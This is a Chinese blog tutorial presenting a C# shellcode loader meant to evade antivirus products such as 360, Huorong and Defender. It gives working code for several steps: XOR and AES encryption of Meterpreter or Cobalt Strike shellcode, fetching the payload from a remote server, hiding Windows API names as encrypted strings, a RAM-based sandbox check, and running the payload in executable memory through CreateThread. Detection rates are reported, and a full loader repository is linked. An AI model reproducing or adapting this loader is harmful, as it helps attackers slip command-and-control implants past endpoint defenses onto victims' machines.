【免杀对抗】远程加载AES+XOR异或加密的ShellCode加载器

发布于 2024-01-22  3249 次阅读


使用的软件:

  • VisualStudio

使用的编程语言

  • C#

文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用

任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!


前言

纯萌新,尝试一下免杀,最近也是查了很多资料,面向Github编程借鉴了很多大佬的代码。通过XOR异或加密后再进行AES加密,然后通过修改shellcode加载方式进行简单的免杀。

ShellCode360杀毒火绒Defender腾讯电脑管家VT
Meterpreter13 / 69
Cobalt Strike13 / 69

推荐Meterpreter生成shellcode,Cobalt Strike在尝试远程加载的shellcode时可能被360拦截

可自行加壳或修改尝试

github:https://github.com/Mangofang/BypassLoad

本文章仅提供思路,如果有更好的方法,欢迎讨论


1.ShellCode进行XOR异或加密

异或是对两个运算元的一种逻辑分析类型,符号为XOR或EOR。与一般的逻辑或OR不同,当两两数值相同为否,而数值不同时为真

在C#中可以使用"^"符号表示。此处需要特别注意他和一般的逻辑或区别

举个例子:

// returns True 当两个值不同时返回true
Console.WriteLine(true ^ false);
// 同上
Console.WriteLine(false ^ false);
// return False 当两个值相同时返回false
Console.WriteLine(true ^ true);

文字在异或的过程中实际会被转化为ASCII然后再转为二进制进行对比,例如:

Console.WriteLine('q' ^ 'w');//结果为"6"
//此处"q"的ASCII为113,w的ASCII为119
//即可转化为113 ^ 119 再转化为二进制 01110001 ^ 01110111
//结果为00000110 即十进制6

string类型需要处理时可以先将它ToArray转为char类型的数组

如果把key一位一位和data对比,key的长度就必须等于data,显然不实用。此处可以使用i去取余key的长度,取余算法的值永远不会大于key长度

private static char[] xor(string str)
{
    char[] data = str.ToArray();
    char[] key = "qwertyuiopasdfghjklzxcvbnm".ToArray();
    for (int i = 0; i < data.Length; i++)
    {
        data[i] ^= key[i % key.Length];
    }
    return data;
}

1.ShellCode进行AesEncypt加密

AES可以使用RijndaelManaged类进行加密

private static string AesEncrypt(string str, string key)
{
    if (string.IsNullOrEmpty(str)) return null;
    Byte[] toEncryptArray = Encoding.UTF8.GetBytes(str);

    RijndaelManaged rm = new RijndaelManaged
    {
        Key = Encoding.UTF8.GetBytes(key),
        Mode = CipherMode.ECB,
        Padding = PaddingMode.PKCS7
    };

    ICryptoTransform cTransform = rm.CreateEncryptor();
    Byte[] resultArray = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length);
    return Convert.ToBase64String(resultArray);
}

此处使用128位秘钥 AES-ECB模式PKCS7填充模式加密

为了方便我们可以使用Aes.Create来随机一串128位的秘钥

using (Aes aes = Aes.Create())
{
    aes.KeySize = 128;
    aes.GenerateKey();
    Console.WriteLine(Convert.ToBase64String(aes.Key));
}

3.远程加载并解密

把生成的shellcode上传到服务器上,然后get到它获取数据


string webpath = File.ReadAllText(webpath, Encoding.UTF8);//webpath为shellcode的链接
HttpWebRequest req = (HttpWebRequest)WebRequest.Create(new Uri(webpath));
req.Method = "GET";
req.UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko";
HttpWebResponse res = (HttpWebResponse)req.GetResponse();
Stream stms = res.GetResponseStream();
StreamReader reader = new StreamReader(stms, Encoding.UTF8);
string result = reader.ReadToEnd();
reader.Close();
req.Abort();

AES解密,还是一样可以使用RijndaelManaged类:

private static string AesDecrypt(string str, string key)
{
    if (string.IsNullOrEmpty(str)) return null;
    Byte[] toEncryptArray = Convert.FromBase64String(str);

    RijndaelManaged rm = new RijndaelManaged
    {
        Key = Encoding.UTF8.GetBytes(key),
        Mode = CipherMode.ECB,
        Padding = PaddingMode.PKCS7
    };

    ICryptoTransform cTransform = rm.CreateDecryptor();
    Byte[] resultArray = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length);

    return Encoding.UTF8.GetString(resultArray);
}

XOR解密:

private static char[] Xor_Decrypt(char[] data)
{
    char[] key = "qwertyuiopasdfghjklzxcvbnm".ToArray();
    for (int i = 0; i < data.Length; i++)
    {
        data[i] ^= key[i % key.Length];
    }

    return data;
}

4.加载shellcode

shellcode在免杀中固然重要,但是更重要的是shellcode的加载方式,杀软除了可以查杀shellcode,也可以通过加载方式的特征进行查杀,比如敏感函数查杀等。此处结合大佬们提供的加载方式,使用动态调用dll方式进行加载。

internal static class Unsafe
{
    [DllImport("Kernel32")]
    internal static extern IntPtr GetProcAddress(IntPtr hModule, string procname);
    [DllImport("Kernel32")]
    internal static extern IntPtr LoadLibrary(string moduleName);
    internal delegate UInt32 Virtual_Alloc(
    UInt32 lpStartAddr,
    UInt32 size,
    UInt32 flAllocationType,
    UInt32 flProtect);
}
internal delegate UInt32 Virtual_Alloc(
    UInt32 lpStartAddr,
    UInt32 size,
    UInt32 flAllocationType,
    UInt32 flProtect);
internal delegate IntPtr Create_Thread(
    UInt32 lpThreadAttributes,
    UInt32 dwStackSize,
    UInt32 lpStartAddress,
    IntPtr param,
    UInt32 dwCreationFlags,
    ref UInt32 lpThreadId);
internal delegate UInt32 Wait_ForSingle_Object(
    IntPtr hHandle,
    UInt32 dwMilliseconds
);
static void Main(string[] args)
{
    ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12 | SecurityProtocolType.Ssl3;
    PerformanceCounter ramCounter = new PerformanceCounter("Memory", "Available MBytes");
    if (ramCounter.NextValue() >= 4096)
    {
        byte[] shellcode = GetShellCode();
        string key = "BsijVUv2v+Ql/NM3pQv8uQ==";
        string k = "AyD9Y9zW9dtvfqJzJb33gA==";
        string v = "YlnmzpP5550nqLxW+3wdNQ==";
        string c = "AkJecKOgemBiLxROAtA9WA==";
        string w = "cH9ouyrpylq2wwZqDlf5Uod4zw5Vx+OrGTO0iMg4ah8=";
                
        IntPtr trva = Unsafe.GetProcAddress(Unsafe.LoadLibrary(AesDecrypt(k, key)), AesDecrypt(v, key));
        Virtual_Alloc va = (Virtual_Alloc)Marshal.GetDelegateForFunctionPointer(trva, typeof(Virtual_Alloc));
        IntPtr trct = Unsafe.GetProcAddress(Unsafe.LoadLibrary(AesDecrypt(k, key)), AesDecrypt(c, key));
        IntPtr trwf = Unsafe.GetProcAddress(Unsafe.LoadLibrary(AesDecrypt(k, key)), AesDecrypt(w, key));
        Create_Thread ct = (Create_Thread)Marshal.GetDelegateForFunctionPointer(trct, typeof(Create_Thread));
        Wait_ForSingle_Object wfoi = (Wait_ForSingle_Object)Marshal.GetDelegateForFunctionPointer(trwf, typeof(Wait_ForSingle_Object));

        UInt32 mem = va(0, (UInt32)shellcode.Length, 0x1000, 0x40);
        Marshal.Copy(shellcode, 0, (IntPtr)(mem), shellcode.Length);
        UInt32 threadId = 0;
        IntPtr hThread = ct(0, 0, mem, IntPtr.Zero, 0, ref threadId);
        wfoi(hThread, 0xFFFFFFFF);
    }

}